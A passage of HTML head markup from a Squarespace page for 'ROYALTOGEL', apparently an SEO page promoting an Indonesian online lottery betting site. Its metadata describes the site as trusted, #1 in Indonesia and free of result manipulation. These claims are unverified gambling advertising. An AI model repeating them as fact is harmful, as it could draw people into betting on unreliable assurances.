            "//assets.squarespace.com/universal/scripts-compressed/performance-b05b9f2763f2344b3c5b-min.en-US.js"
        ];
    })(SQUARESPACE_ROLLUPS, 'squarespace-performance');
    </script>
    <script crossorigin="anonymous"
        src="//assets.squarespace.com/universal/scripts-compressed/performance-b05b9f2763f2344b3c5b-min.en-US.js" defer>
    </script>
    <script data-name="static-context">
    Static = window.Static || {};
    Static.SQUARESPACE_CONTEXT = {
        "betaFeatureFlags": ["campaigns_discount_section_in_blasts", "gdpr_cookie_banner",
            "enable_css_variable_tweaks", "new_stacked_index", "crm_redesign_phase_1",
            "hideable_header_footer_for_videos", "i18n_beta_website_locales", "blueprint_content_replacement",
            "fluid_engine", "override_block_styles", "nested_categories", "visitor_react_forms", "themes",
            "unify_edit_mode_p2", "customer_account_creation_recaptcha",
            "fluid_engine_clean_up_grid_contextual_change", "commerce_order_status_access", "commerce_clearpay",
            "emit_donation_events_to_census", "pages_panel_v3_search_bar", "member_areas_feature",
            "commerce_site_visitor_metrics", "nested_categories_migration_enabled",
            "campaigns_thumbnail_layout", "collection_typename_switching", "hideable_header_footer_for_courses",
            "marketing_landing_page", "campaigns_discount_section_in_automations",
            "campaigns_new_image_layout_picker", "accounting_orders_sync",
            "customer_accounts_email_verification", "hideable_header_footer", "campaigns_import_discounts",
            "commerce_paywall_renewal_notifications", "campaigns_global_uc_ab",
            "rewrite_transactional_email_from_address", "send_local_pickup_ready_email",
            "is_feature_gate_refresh_enabled", "scripts_defer", "crm_product_contacts_use_mfe",
            "donations_refresh_in_circle_labs", "supports_versioned_template_assets",
            "toggle_preview_new_shortcut", "hideable_header_footer_for_memberareas",
            "commerce_subscription_renewal_notifications", "hide_header_footer_beta", "donations_refresh",
            "background_art_onboarding"
        ],
        "videoAssetsFeatureFlags": ["mux-data-video-collection", "mux-data-course-collection"],
        "facebookAppId": "314192535267336",
        "facebookApiVersion": "v6.0",
        "rollups": {
            "squarespace-announcement-bar": {
                "js": "//assets.squarespace.com/universal/scripts-compressed/announcement-bar-fab71c7c4c627de56577-min.en-US.js"
            },
            "squarespace-audio-player": {
                "css": "//assets.squarespace.com/universal/styles-compressed/audio-player-9fb16b1675c0ff315dae-min.en-US.css",
                "js": "//assets.squarespace.com/universal/scripts-compressed/audio-player-89414b592027e41ec220-min.en-US.js"
            },
            "squarespace-blog-collection-list": {
                "css": "//assets.squarespace.com/universal/styles-compressed/blog-collection-list-0106e2d3707028a62a85-min.en-US.css",
                "js": "//assets.squarespace.com/universal/scripts-compressed/blog-collection-list-f179daf3c110a4b83377-min.en-US.js"
            },
            "squarespace-calendar-block-renderer": {
                "css": "//assets.squarespace.com/universal/styles-compressed/calendar-block-renderer-03de0efcd076c4eb4f36-min.en-US.css",
                "js": "//assets.squarespace.com/universal/scripts-compressed/calendar-block-renderer-cb42ad4c2047a9c56e4a-min.en-US.js"
            },
            "squarespace-chartjs-helpers": {
                "css": "//assets.squarespace.com/universal/styles-compressed/chartjs-helpers-e1c09c17d776634c0edc-min.en-US.css",
                "js": "//assets.squarespace.com/universal/scripts-compressed/chartjs-helpers-53e17546a459d9937061-min.en-US.js"
            },
            "squarespace-comments": {
                "css": "//assets.squarespace.com/universal/styles-compressed/comments-9ee267dbd3a3641ebd08-min.en-US.css",
                "js": "//assets.squarespace.com/universal/scripts-compressed/comments-87027aaece840762a1be-min.en-US.js"
            },
            "squarespace-custom-css-popup": {
                "css": "//assets.squarespace.com/universal/styles-compressed/custom-css-popup-902129faa30195b0f6ef-min.en-US.css",
                "js": "//assets.squarespace.com/universal/scripts-compressed/custom-css-popup-5fff58d378da368f6316-min.en-US.js"
            },
            "squarespace-dialog": {
                "css": "//assets.squarespace.com/universal/styles-compressed/dialog-a8eb202e14df18d3163b-min.en-US.css",
                "js": "//assets.squarespace.com/universal/scripts-compressed/dialog-895125ee67c03c456c4c-min.en-US.js"
            },
            "squarespace-events-collection": {
                "css": "//assets.squarespace.com/universal/styles-compressed/events-collection-03de0efcd076c4eb4f36-min.en-US.css",
                "js": "//assets.squarespace.com/universal/scripts-compressed/events-collection-b1d36824311e1160f7b3-min.en-US.js"
            },
            "squarespace-form-rendering-utils": {
                "js": "//assets.squarespace.com/universal/scripts-compressed/form-rendering-utils-ae7dc04b555c9edb2ad0-min.en-US.js"
            },
            "squarespace-forms": {
                "css": "//assets.squarespace.com/universal/styles-compressed/forms-8d93ba2c12ff0765b64c-min.en-US.css",
                "js": "//assets.squarespace.com/universal/scripts-compressed/forms-76e93cc1495bd786bdb3-min.en-US.js"
            },
            "squarespace-gallery-collection-list": {
                "css": "//assets.squarespace.com/universal/styles-compressed/gallery-collection-list-0106e2d3707028a62a85-min.en-US.css",
                "js": "//assets.squarespace.com/universal/scripts-compressed/gallery-collection-list-98da2f72755541dab245-min.en-US.js"
            },
            "squarespace-image-zoom": {
                "css": "//assets.squarespace.com/universal/styles-compressed/image-zoom-0106e2d3707028a62a85-min.en-US.css",
                "js": "//assets.squarespace.com/universal/scripts-compressed/image-zoom-80da18540c2c91f06baf-min.en-US.js"
            },
            "squarespace-pinterest": {
                "css": "//assets.squarespace.com/universal/styles-compressed/pinterest-0106e2d3707028a62a85-min.en-US.css",
                "js": "//assets.squarespace.com/universal/scripts-compressed/pinterest-2928d4eb2ce576dd02dc-min.en-US.js"
            },
            "squarespace-popup-overlay": {
                "css": "//assets.squarespace.com/universal/styles-compressed/popup-overlay-b2bf7df4402e207cd72c-min.en-US.css",
                "js": "//assets.squarespace.com/universal/scripts-compressed/popup-overlay-d68f17171b5f310e1869-min.en-US.js"
            },
            "squarespace-product-quick-view": {
                "css": "//assets.squarespace.com/universal/styles-compressed/product-quick-view-840c62d546c429277c2c-min.en-US.css",
                "js": "//assets.squarespace.com/universal/scripts-compressed/product-quick-view-65a37340606239f02b99-min.en-US.js"
            },
            "squarespace-products-collection-item-v2": {
                "css": "//assets.squarespace.com/universal/styles-compressed/products-collection-item-v2-0106e2d3707028a62a85-min.en-US.css",
                "js": "//assets.squarespace.com/universal/scripts-compressed/products-collection-item-v2-d76e0cec0cbd95d2fdfd-min.en-US.js"
            },
            "squarespace-products-collection-list-v2": {
                "css": "//assets.squarespace.com/universal/styles-compressed/products-collection-list-v2-0106e2d3707028a62a85-min.en-US.css",
                "js": "//assets.squarespace.com/universal/scripts-compressed/products-collection-list-v2-be13450cfd6ff4aa937e-min.en-US.js"
            },
            "squarespace-search-page": {
                "css": "//assets.squarespace.com/universal/styles-compressed/search-page-dcc0462e30efbd6dc562-min.en-US.css",
                "js": "//assets.squarespace.com/universal/scripts-compressed/search-page-165312a8ac0a01b0faef-min.en-US.js"
            },
            "squarespace-search-preview": {
                "js": "//assets.squarespace.com/universal/scripts-compressed/search-preview-8611b2765940cad5278d-min.en-US.js"
            },
            "squarespace-simple-liking": {
                "css": "//assets.squarespace.com/universal/styles-compressed/simple-liking-a9eb87c1b73b199ce387-min.en-US.css",
                "js": "//assets.squarespace.com/universal/scripts-compressed/simple-liking-6dd5b35d09ac86e1160f-min.en-US.js"
            },
            "squarespace-social-buttons": {
                "css": "//assets.squarespace.com/universal/styles-compressed/social-buttons-98ee3a678d356d849b76-min.en-US.css",
                "js": "//assets.squarespace.com/universal/scripts-compressed/social-buttons-f131112a8bdcac695e5f-min.en-US.js"
            },
            "squarespace-tourdates": {
                "css": "//assets.squarespace.com/universal/styles-compressed/tourdates-0106e2d3707028a62a85-min.en-US.css",
                "js": "//assets.squarespace.com/universal/scripts-compressed/tourdates-f2f6ecc446a67197a3e6-min.en-US.js"
            },
            "squarespace-website-overlays-manager": {
                "css": "//assets.squarespace.com/universal/styles-compressed/website-overlays-manager-6dfb472f441e39d78b13-min.en-US.css",
                "js": "//assets.squarespace.com/universal/scripts-compressed/website-overlays-manager-e027bdc23702cd29d822-min.en-US.js"
            }
        },
        "pageType": 50,
        "website": {
            "id": "66b959dc2c4aeb3d5a169ebb",
            "identifier": "tangerine-seal-rb3b",
            "websiteType": 1,
            "contentModifiedOn": 1723423659705,
            "cloneable": false,
            "hasBeenCloneable": false,
            "siteStatus": {},
            "language": "en-US",
            "timeZone": "Asia/Jakarta",
            "machineTimeZoneOffset": 25200000,
            "timeZoneOffset": 25200000,
            "timeZoneAbbr": "WIB",
            "siteTitle": "ROYALTOGEL » Link Login Alternatif Bandar Togel Hongkong 4D Gacor #1 2025",
            "fullSiteTitle": "ROYALTOGEL » Link Login Alternatif Bandar Togel Hongkong 4D Gacor #1 2025",
            "siteDescription": "ROYALTOGEL merupakan situs bandar togel online hongkong 4d dengan minimal bet 100 perak paling di cari dan terpercaya #1 di Indonesia!",
            "location": {},
            "shareButtonOptions": {
                "6": true,
                "3": true,
                "7": true,
                "2": true,
                "1": true,
                "8": true,
                "4": true
            },
            "authenticUrl": "https://oog.eu.com/",
            "internalUrl": "https://oog.eu.com/",
            "baseUrl": "https://oog.eu.com/",
            "sslSetting": 3,
            "isHstsEnabled": true,
            "socialAccounts": [{
                "serviceId": 64,
                "addedOn": 1723423197190,
                "profileUrl": "https://www.instagram.com/squarespace/",
                "iconEnabled": true,
                "serviceName": "instagram-unauth"
            }, {
                "serviceId": 85,
                "addedOn": 1723423197193,
                "profileUrl": "https://x.com/squarespace",
                "iconEnabled": true,
                "serviceName": "x-formerly-twitter-unauth"
            }, {
                "serviceId": 60,
                "addedOn": 1723423197197,
                "profileUrl": "https://www.facebook.com/squarespace/",
                "iconEnabled": true,
                "serviceName": "facebook-unauth"
            }],
            "typekitId": "",
            "statsMigrated": false,
            "imageMetadataProcessingEnabled": false,
            "captchaSettings": {
                "enabledForDonations": false
            },
            "showOwnerLogin": false
        },
        "websiteSettings": {
            "id": "66b959dc2c4aeb3d5a169ebe",
            "websiteId": "66b959dc2c4aeb3d5a169ebb",
            "subjects": [],
            "country": "ID",
            "state": "JK",
            "simpleLikingEnabled": true,
            "mobileInfoBarSettings": {
                "isContactEmailEnabled": false,
                "isContactPhoneNumberEnabled": false,
                "isLocationEnabled": false,
                "isBusinessHoursEnabled": false
            },
            "announcementBarSettings": {},
            "commentLikesAllowed": true,
            "commentAnonAllowed": true,
            "commentThreaded": true,
            "commentApprovalRequired": false,
            "commentAvatarsOn": true,
            "commentSortType": 2,
            "commentFlagThreshold": 0,
            "commentFlagsAllowed": true,
            "commentEnableByDefault": true,
            "commentDisableAfterDaysDefault": 0,
            "disqusShortname": "",
            "commentsEnabled": false,
            "businessHours": {},
            "storeSettings": {
                "returnPolicy": null,
                "termsOfService": null,
                "privacyPolicy": null,
                "expressCheckout": false,
                "continueShoppingLinkUrl": "/",
                "useLightCart": false,
                "showNoteField": false,
                "shippingCountryDefaultValue": "US",
                "billToShippingDefaultValue": false,
                "showShippingPhoneNumber": true,
                "isShippingPhoneRequired": false,
                "showBillingPhoneNumber": true,
                "isBillingPhoneRequired": false,
                "currenciesSupported": ["USD", "CAD", "GBP", "AUD", "EUR", "CHF", "NOK", "SEK", "DKK", "NZD", "SGD",
                    "MXN", "HKD", "CZK", "ILS", "MYR", "RUB", "PHP", "PLN", "THB", "BRL", "ARS", "COP", "IDR",
                    "INR", "JPY", "ZAR"
                ],
                "defaultCurrency": "USD",
                "selectedCurrency": "IDR",
                "measurementStandard": 1,
                "showCustomCheckoutForm": false,
                "checkoutPageMarketingOptInEnabled": true,
                "enableMailingListOptInByDefault": false,
                "sameAsRetailLocation": false,
                "merchandisingSettings": {
                    "scarcityEnabledOnProductItems": false,
                    "scarcityEnabledOnProductBlocks": false,
                    "scarcityMessageType": "DEFAULT_SCARCITY_MESSAGE",
                    "scarcityThreshold": 10,
                    "multipleQuantityAllowedForServices": true,
                    "restockNotificationsEnabled": false,
                    "restockNotificationsMailingListSignUpEnabled": false,
                    "relatedProductsEnabled": false,
                    "relatedProductsOrdering": "random",
                    "soldOutVariantsDropdownDisabled": false,
                    "productComposerOptedIn": false,
                    "productComposerABTestOptedOut": false,
                    "productReviewsEnabled": false
                },
                "minimumOrderSubtotalEnabled": false,
                "minimumOrderSubtotal": {
                    "currency": "IDR",
                    "value": "0.00"
                },
                "isLive": false,
                "multipleQuantityAllowedForServices": true
            },
            "useEscapeKeyToLogin": false,
            "ssBadgeType": 1,
            "ssBadgePosition": 4,
            "ssBadgeVisibility": 1,
            "ssBadgeDevices": 1,
            "pinterestOverlayOptions": {
                "mode": "disabled"
            },
            "ampEnabled": false,
            "userAccountsSettings": {
                "loginAllowed": true,
                "signupAllowed": true
            }
        },
        "cookieSettings": {
            "isCookieBannerEnabled": false,
            "isRestrictiveCookiePolicyEnabled": false,
            "isRestrictiveCookiePolicyAbsolute": false,
            "cookieBannerText": "",
            "cookieBannerTheme": "",
            "cookieBannerVariant": "",
            "cookieBannerPosition": "",
            "cookieBannerCtaVariant": "",
            "cookieBannerCtaText": "",
            "cookieBannerAcceptType": "OPT_IN",
            "cookieBannerOptOutCtaText": "",
            "cookieBannerHasOptOut": false,
            "cookieBannerHasManageCookies": true,
            "cookieBannerManageCookiesLabel": "",
            "cookieBannerSavedPreferencesText": "",
            "cookieBannerSavedPreferencesLayout": "PILL"
        },
        "websiteCloneable": false,
        "collection": {
            "title": "Store",
            "id": "66b95adac9ceb6413cc211c8",
            "fullUrl": "https://oog.eu.com/",
            "type": 13,
            "permissionType": 1
        },
        "item": {
            "title": "ROYALTOGEL » Link Login Alternatif Bandar Togel Hongkong 4D Gacor #1 2025",
            "id": "66b95add08a6f91ec7b9602e",
            "fullUrl": "https://oog.eu.com/",
            "publicCommentCount": 0,
            "commentState": 1,
            "recordType": 11
        },
        "subscribed": false,
        "appDomain": "squarespace.com",
        "templateTweakable": true,
        "tweakJSON": {
            "form-use-theme-colors": "true",
            "header-logo-height": "20px",
            "header-mobile-logo-max-height": "30px",
            "header-vert-padding": "2vw",
            "header-width": "Inset",
            "maxPageWidth": "1400px",
            "pagePadding": "4vw",
            "tweak-blog-alternating-side-by-side-image-aspect-ratio": "1:1 Square",
            "tweak-blog-alternating-side-by-side-image-spacing": "6%",
            "tweak-blog-alternating-side-by-side-meta-spacing": "20px",
            "tweak-blog-alternating-side-by-side-primary-meta": "Categories",
            "tweak-blog-alternating-side-by-side-read-more-spacing": "20px",
            "tweak-blog-alternating-side-by-side-secondary-meta": "Date",
            "tweak-blog-basic-grid-columns": "3",
            "tweak-blog-basic-grid-image-aspect-ratio": "3:2 Standard",
            "tweak-blog-basic-grid-image-spacing": "35px",
            "tweak-blog-basic-grid-meta-spacing": "25px",
            "tweak-blog-basic-grid-primary-meta": "Categories",
            "tweak-blog-basic-grid-read-more-spacing": "20px",
            "tweak-blog-basic-grid-secondary-meta": "Date",
            "tweak-blog-item-custom-width": "50",
            "tweak-blog-item-show-author-profile": "false",
            "tweak-blog-item-width": "Medium",
            "tweak-blog-masonry-columns": "2",
            "tweak-blog-masonry-horizontal-spacing": "30px",
            "tweak-blog-masonry-image-spacing": "20px",
            "tweak-blog-masonry-meta-spacing": "20px",
            "tweak-blog-masonry-primary-meta": "Categories",
            "tweak-blog-masonry-read-more-spacing": "20px",
            "tweak-blog-masonry-secondary-meta": "Date",
            "tweak-blog-masonry-vertical-spacing": "30px",
            "tweak-blog-side-by-side-image-aspect-ratio": "1:1 Square",
            "tweak-blog-side-by-side-image-spacing": "6%",
            "tweak-blog-side-by-side-meta-spacing": "20px",
            "tweak-blog-side-by-side-primary-meta": "Categories",
            "tweak-blog-side-by-side-read-more-spacing": "20px",
            "tweak-blog-side-by-side-secondary-meta": "Date",
            "tweak-blog-single-column-image-spacing": "50px",
            "tweak-blog-single-column-meta-spacing": "30px",
            "tweak-blog-single-column-primary-meta": "Categories",
            "tweak-blog-single-column-read-more-spacing": "15px",
            "tweak-blog-single-column-secondary-meta": "Date",
            "tweak-events-stacked-show-thumbnails": "true",
            "tweak-events-stacked-thumbnail-size": "3:2 Standard",
            "tweak-fixed-header": "false",
            "tweak-fixed-header-style": "Basic",
            "tweak-global-animations-animation-curve": "ease",
            "tweak-global-animations-animation-delay": "0.1s",
            "tweak-global-animations-animation-duration": "0.1s",
            "tweak-global-animations-animation-style": "fade",
            "tweak-global-animations-animation-type": "none",
            "tweak-global-animations-complexity-level": "detailed",
            "tweak-global-animations-enabled": "false",
            "tweak-portfolio-grid-basic-custom-height": "50",
            "tweak-portfolio-grid-overlay-custom-height": "50",
            "tweak-portfolio-hover-follow-acceleration": "10%",
            "tweak-portfolio-hover-follow-animation-duration": "Fast",
            "tweak-portfolio-hover-follow-animation-type": "Fade",
            "tweak-portfolio-hover-follow-delimiter": "Bullet",
            "tweak-portfolio-hover-follow-front": "false",
            "tweak-portfolio-hover-follow-layout": "Inline",
            "tweak-portfolio-hover-follow-size": "50",
            "tweak-portfolio-hover-follow-text-spacing-x": "1.5",
            "tweak-portfolio-hover-follow-text-spacing-y": "1.5",
            "tweak-portfolio-hover-static-animation-duration": "Fast",
            "tweak-portfolio-hover-static-animation-type": "Fade",
            "tweak-portfolio-hover-static-delimiter": "Hyphen",
            "tweak-portfolio-hover-static-front": "true",
            "tweak-portfolio-hover-static-layout": "Inline",
            "tweak-portfolio-hover-static-size": "50",
            "tweak-portfolio-hover-static-text-spacing-x": "1.5",
            "tweak-portfolio-hover-static-text-spacing-y": "1.5",
            "tweak-portfolio-index-background-animation-duration": "Medium",
            "tweak-portfolio-index-background-animation-type": "Fade",
            "tweak-portfolio-index-background-custom-height": "50",
            "tweak-portfolio-index-background-delimiter": "None",
            "tweak-portfolio-index-background-height": "Large",
            "tweak-portfolio-index-background-horizontal-alignment": "Center",
            "tweak-portfolio-index-background-link-format": "Stacked",
            "tweak-portfolio-index-background-persist": "false",
            "tweak-portfolio-index-background-vertical-alignment": "Middle",
            "tweak-portfolio-index-background-width": "Full",
            "tweak-product-basic-item-click-action": "None",
            "tweak-product-basic-item-gallery-aspect-ratio": "3:4 Three-Four (Vertical)",
            "tweak-product-basic-item-gallery-design": "Slideshow",
            "tweak-product-basic-item-gallery-width": "50%",
            "tweak-product-basic-item-hover-action": "None",
            "tweak-product-basic-item-image-spacing": "2vw",
            "tweak-product-basic-item-image-zoom-factor": "2",
            "tweak-product-basic-item-product-variant-display": "Dropdown",
            "tweak-product-basic-item-thumbnail-placement": "Side",
            "tweak-product-basic-item-variant-picker-layout": "Dropdowns",
            "tweak-products-add-to-cart-button": "false",
            "tweak-products-columns": "2",
            "tweak-products-gutter-column": "2vw",
            "tweak-products-gutter-row": "5vw",
            "tweak-products-header-text-alignment": "Middle",
            "tweak-products-image-aspect-ratio": "1:1 Square",
            "tweak-products-image-text-spacing": "1.5vw",
            "tweak-products-mobile-columns": "1",
            "tweak-products-text-alignment": "Left",
            "tweak-products-width": "Full",
            "tweak-transparent-header": "false"
        },
        "templateId": "5c5a519771c10ba3470d8101",
        "templateVersion": "7.1",
        "pageFeatures": [1, 2, 4],
        "gmRenderKey": "QUl6YVN5Q0JUUk9xNkx1dkZfSUUxcjQ2LVQ0QWVUU1YtMGQ3bXk4",
        "templateScriptsRootUrl": "https://static1.squarespace.com/static/vta/5c5a519771c10ba3470d8101/scripts/",
        "impersonatedSession": false,
        "demoCollections": [{
            "collectionId": "6581fd2e9a7c875e912e097f",
            "deleted": true
        }, {
            "collectionId": "6581fd2f9a7c875e912e0b3f",
            "deleted": true
        }, {
            "collectionId": "6581fd2f9a7c875e912e0b9d",
            "deleted": true
        }, {
            "collectionId": "6581fd2f9a7c875e912e0c06",
            "deleted": true
        }, {
            "collectionId": "6581fd2f9a7c875e912e0c17",
            "deleted": true
        }, {
            "collectionId": "6583607550ab220f893cb072",
            "deleted": true
        }, {
            "collectionId": "6584646636a22e1f5b865b5f",
            "deleted": true
        }],
        "tzData": {
            "zones": [
                [420, null, "WIB", null]
            ],
            "rules": {}
        },
        "product": {
            "variantAttributeNames": [],
            "variants": [{
                "id": "af16df69-af90-482f-8a7b-b6dde431566d",
                "sku": "SQ5468179",
                "price": {
                    "currencyCode": "IDR",
                    "value": 4444400,
                    "decimalValue": "44444.00",
                    "fractionalDigits": 2
                },
                "salePrice": {
                    "currencyCode": "IDR",
                    "value": 0,
                    "decimalValue": "0.00",
                    "fractionalDigits": 2
                },
                "onSale": false,
                "stock": {
                    "unlimited": true
                },
                "attributes": {},
                "shippingWeight": {
                    "value": 0.0,
                    "unit": "POUND"
                },
                "shippingSize": {
                    "unit": "INCH",
                    "width": 0.0,
                    "height": 0.0,
                    "len": 0.0
                }
            }],
            "subscribable": false,
            "fulfilledExternally": false,
            "productType": 1
        },
        "showAnnouncementBar": false,
        "recaptchaEnterpriseContext": {
            "recaptchaEnterpriseSiteKey": "6LdDFQwjAAAAAPigEvvPgEVbb7QBm-TkVJdDTlAv"
        },
        "i18nContext": {
            "timeZoneData": {
                "id": "Asia/Jakarta",
                "name": "Western Indonesia Time"
            }
        },
        "env": "PRODUCTION"
    };
    </script>
    <script type="application/ld+json">
    {
        "url": "https://oog.eu.com/",
        "name": "ROYALTOGEL » Link Login Alternatif Bandar Togel Hongkong 4D Gacor #1 2025",
        "description": "ROYALTOGEL adalah bandar togel online paling dicari dan terpercaya di tahun 2025 dengan pasaran togel terlengkap dan hanya dengan modal bet 100 perak aja sudah bisa mendapatkan hadiah kemenangan yang fantastis. Di royal togel juga selalu mengutamakan sistem permainan fair play sehingga membuat semua pemain dapat bermain dengan nyaman tanpa harus ragu akan adanya rekayasa atau settingan angka result atau manipulasi bettingan!",
        "@context": "http://schema.org",
        "@type": "WebSite"
    }
    </script>
    <script type="application/ld+json">
    {
        "address": "",
        "openingHours": "",
        "@context": "http://schema.org",
        "@type": "LocalBusiness"
    }
    </script>
    <script type="application/ld+json">
    {
        "name": "ROYALTOGEL » Link Login Alternatif Bandar Togel Hongkong 4D Gacor #1 2025",
        "image": "https://oog.eu.com/promo-royaltogel.jpg",
        "description": "ROYALTOGEL adalah bandar togel online paling dicari dan terpercaya di tahun 2025 dengan pasaran togel terlengkap dan hanya dengan modal bet 100 perak aja sudah bisa mendapatkan hadiah kemenangan yang fantastis. Di royal togel juga selalu mengutamakan sistem permainan fair play sehingga membuat semua pemain dapat bermain dengan nyaman tanpa harus ragu akan adanya rekayasa atau settingan angka result atau manipulasi bettingan!",
        "brand": "ROYALTOGEL » Link Login Alternatif Bandar Togel Hongkong 4D Gacor #1 2025",
        "offers": {
            "price": 44444.00,
            "priceCurrency": "IDR",
            "url": "https://oog.eu.com/",
            "availability": "InStock",
            "sku": "SQ5468179",
            "@context": "http://schema.org",
            "@type": "Offer"
        },
        "@context": "http://schema.org",
        "@type": "Product"
    }
    </script>
    <link rel="stylesheet" type="text/css" href="https://oog.eu.com/site.css" />
    <script>
    Static.COOKIE_BANNER_CAPABLE = true;
    </script>
    <!-- End of Squarespace Headers -->
    <style>
    @supports (-webkit-backdrop-filter: none) or (backdrop-filter: none) {
        .header-blur-background {}
    }

    .ProductItem-gallery-slides-item.selected.going-next.loaded.next-loaded.prev-loaded {
        width: auto;
        height: auto;
    }

    .tweak-fixed-header .header .header-announcement-bar-wrapper {

        background: linear-gradient(to bottom, #a19e03 0%, rgb(51, 46, 0) 100%);
    }

    .collection-type-products .ProductItem-details h1.ProductItem-details-title {
        font-family: exo;
    }

    footer#footer-sections {
        background: linear-gradient(89.87deg, #ffbc00 35.41%, #ce4e00 121.72%);
        color: #000000;
        font-family: monospace;
        text-align: center;
        font-size: 150%;
        padding: 30px 0px 30px 0px;
    }

    .products.collection-content-wrapper {
        padding-bottom: 0vw;
    }

    .ProductItem {
        padding-bottom: 0vw;
    }

    .header-nav-item.header-nav-item--collection a,
    .header-nav-item.header-nav-item--collection.header-nav-item--active a {
        color: white;
    }

    .n-columns-2 {
        display: grid;
        grid-template-columns: repeat(2, 1fr);
        font-weight: 700;
    }

    .n-columns-2 a {
        text-align: center;
    }

    .login,
    .register {
        color: #fff;
        padding: 13px 10px;
    }

    .login,
    .login-button {
        background: linear-gradient(to bottom, #071577 0%, #0421ab 100%);
        border: 2px solid #000000;
        box-shadow: 0px 0px 4px 2px #000000;
    }

    .register,
    .register-button {
        background: linear-gradient(to bottom, #f9af0a 0%, #c18f00 100%);
        border: 2px solid #000000;
        box-shadow: 0px 0px 4px 2px #000000;
    }

    .header .header-announcement-bar-wrapper {
        background-color: rgba(0, 0, 0, 0.5);
    }
    </style>
</head>

<body id="item-66b95add08a6f91ec7b9602e" class="
      primary-button-style-solid primary-button-shape-pill secondary-button-style-outline secondary-button-shape-pill tertiary-button-style-outline tertiary-button-shape-underline form-use-theme-colors form-field-style-outline form-field-shape-pill form-field-border-all form-field-checkbox-type-icon form-field-checkbox-fill-outline form-field-checkbox-color-inverted form-field-checkbox-shape-rounded form-field-checkbox-layout-fit form-field-radio-type-icon form-field-radio-fill-outline form-field-radio-color-inverted form-field-radio-shape-rounded form-field-radio-layout-fit form-field-survey-fill-outline form-field-survey-color-inverted form-field-survey-shape-rounded form-field-hover-focus-outline form-submit-button-style-label header-overlay-alignment-center header-width-inset   tweak-fixed-header-style-basic tweak-blog-alternating-side-by-side-width-full tweak-blog-alternating-side-by-side-image-aspect-ratio-11-square tweak-blog-alternating-side-by-side-text-alignment-left tweak-blog-alternating-side-by-side-read-more-style-show tweak-blog-alternating-side-by-side-image-text-alignment-middle tweak-blog-alternating-side-by-side-delimiter-bullet tweak-blog-alternating-side-by-side-meta-position-top tweak-blog-alternating-side-by-side-primary-meta-categories tweak-blog-alternating-side-by-side-secondary-meta-date tweak-blog-alternating-side-by-side-excerpt-show tweak-blog-basic-grid-width-inset tweak-blog-basic-grid-image-aspect-ratio-32-standard tweak-blog-basic-grid-text-alignment-center tweak-blog-basic-grid-delimiter-bullet tweak-blog-basic-grid-image-placement-above tweak-blog-basic-grid-read-more-style-show tweak-blog-basic-grid-primary-meta-categories tweak-blog-basic-grid-secondary-meta-date tweak-blog-basic-grid-excerpt-show tweak-blog-item-width-medium tweak-blog-item-text-alignment-left tweak-blog-item-meta-position-above-title tweak-blog-item-show-categories tweak-blog-item-show-date   tweak-blog-item-delimiter-bullet tweak-blog-masonry-width-full tweak-blog-masonry-text-alignment-left tweak-blog-masonry-primary-meta-categories tweak-blog-masonry-secondary-meta-date tweak-blog-masonry-meta-position-top tweak-blog-masonry-read-more-style-show tweak-blog-masonry-delimiter-space tweak-blog-masonry-image-placement-above tweak-blog-masonry-excerpt-show tweak-blog-side-by-side-width-full tweak-blog-side-by-side-image-placement-left tweak-blog-side-by-side-image-aspect-ratio-11-square tweak-blog-side-by-side-primary-meta-categories tweak-blog-side-by-side-secondary-meta-date tweak-blog-side-by-side-meta-position-top tweak-blog-side-by-side-text-alignment-left tweak-blog-side-by-side-image-text-alignment-middle tweak-blog-side-by-side-read-more-style-show tweak-blog-side-by-side-delimiter-bullet tweak-blog-side-by-side-excerpt-show tweak-blog-single-column-width-full tweak-blog-single-column-text-alignment-left tweak-blog-single-column-image-placement-above tweak-blog-single-column-delimiter-bullet tweak-blog-single-column-read-more-style-show tweak-blog-single-column-primary-meta-categories tweak-blog-single-column-secondary-meta-date tweak-blog-single-column-meta-position-top tweak-blog-single-column-content-full-post tweak-events-stacked-width-full tweak-events-stacked-height-large  tweak-events-stacked-show-thumbnails tweak-events-stacked-thumbnail-size-32-standard tweak-events-stacked-date-style-with-text tweak-events-stacked-show-time tweak-events-stacked-show-location  tweak-events-stacked-show-excerpt   tweak-global-animations-complexity-level-detailed tweak-global-animations-animation-style-fade tweak-global-animations-animation-type-none tweak-global-animations-animation-curve-ease tweak-portfolio-grid-basic-width-full tweak-portfolio-grid-basic-height-large tweak-portfolio-grid-basic-image-aspect-ratio-11-square tweak-portfolio-grid-basic-text-alignment-left tweak-portfolio-grid-basic-hover-effect-fade tweak-portfolio-grid-overlay-width-full tweak-portfolio-grid-overlay-height-large tweak-portfolio-grid-overlay-image-aspect-ratio-11-square tweak-portfolio-grid-overlay-text-placement-center tweak-portfolio-grid-overlay-show-text-after-hover tweak-portfolio-index-background-link-format-stacked tweak-portfolio-index-background-width-full tweak-portfolio-index-background-height-large  tweak-portfolio-index-background-vertical-alignment-middle tweak-portfolio-index-background-horizontal-alignment-center tweak-portfolio-index-background-delimiter-none tweak-portfolio-index-background-animation-type-fade tweak-portfolio-index-background-animation-duration-medium tweak-portfolio-hover-follow-layout-inline  tweak-portfolio-hover-follow-delimiter-bullet tweak-portfolio-hover-follow-animation-type-fade tweak-portfolio-hover-follow-animation-duration-fast tweak-portfolio-hover-static-layout-inline tweak-portfolio-hover-static-front tweak-portfolio-hover-static-delimiter-hyphen tweak-portfolio-hover-static-animation-type-fade tweak-portfolio-hover-static-animation-duration-fast tweak-product-basic-item-product-variant-display-dropdown tweak-product-basic-item-product-subscription-display-radio tweak-product-basic-item-product-subscription-border-shape-square tweak-product-basic-item-width-full tweak-product-basic-item-gallery-aspect-ratio-34-three-four-vertical tweak-product-basic-item-text-alignment-left tweak-product-basic-item-navigation-breadcrumbs tweak-product-basic-item-description-position-below-price tweak-product-basic-item-description-position-mobile-below-add-to-cart-button tweak-product-basic-item-content-alignment-center tweak-product-basic-item-gallery-design-slideshow tweak-product-basic-item-gallery-placement-left tweak-product-basic-item-thumbnail-placement-side tweak-product-basic-item-click-action-none tweak-product-basic-item-hover-action-none tweak-product-basic-item-variant-picker-layout-dropdowns tweak-product-basic-item-add-to-cart-standalone tweak-product-basic-item-add-to-cart-mobile-standalone tweak-products-width-full tweak-products-image-aspect-ratio-11-square tweak-products-text-alignment-left  tweak-products-price-show tweak-products-nested-category-type-top  tweak-products-header-text-alignment-middle tweak-products-breadcrumbs image-block-poster-text-alignment-left image-block-card-content-position-center image-block-card-text-alignment-left image-block-overlap-content-position-center image-block-overlap-text-alignment-left image-block-collage-content-position-center image-block-collage-text-alignment-left image-block-stack-text-alignment-left hide-opentable-icons opentable-style-dark 